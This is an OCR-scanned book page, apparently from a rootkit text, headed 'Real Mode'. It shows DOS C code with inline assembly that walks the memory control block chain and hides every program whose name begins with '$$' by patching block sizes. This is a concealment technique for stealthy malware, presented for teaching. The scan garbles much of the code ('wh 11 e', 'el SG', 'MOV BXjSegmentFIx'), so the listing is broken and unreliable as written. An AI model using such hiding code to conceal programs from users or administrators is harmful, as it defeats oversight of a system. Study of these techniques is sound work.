3.3 Real Mode
_asm
{
PUSH BX
PUSH ES
PUSH AX
MOV BXjSegmentFIx
MOV ES.BX
MOV BX.OxO
ADD BX,0x3
MOV AX,sizGFix
MOV ES:[BX],AX
POP AX
POP ES
POP BX
}
return;
)
Our finished program traverses the MCB chain and hides every program
whose name begins with two dollar signs (e.g., $$myTSR.com).
struct MCBHeader mcbHeader;
struct MCBHeader oldHeader;
mcbHeader = getFirstMCB[);
oldHeader = mcbHeader;
printMCB(nicbHeader.TTcb);
wh 11 e
(
((mcbHeader.mcb).type != MCB_TYPE_END) &&
((mcbHeader.mcb).type == MCB_TYPE_NOTEND)
)
{
mcbHeader = getNextMCB(mcbHeader.address.mcbHeader.mcb);
printMCB(mcbHeader.mcb);
if
(
((mcbHeader.mcb).name[0]=='$')
&& ((mcbHeader.mcb).name[l]=='$')
)
{
printf("Hiding program: %s\n",(mcbHeader.mcb).name);
hideApp(oldHeader,mcbHeader);
1
el SG
{
oldHeader = mcbHeader;
Parti I 81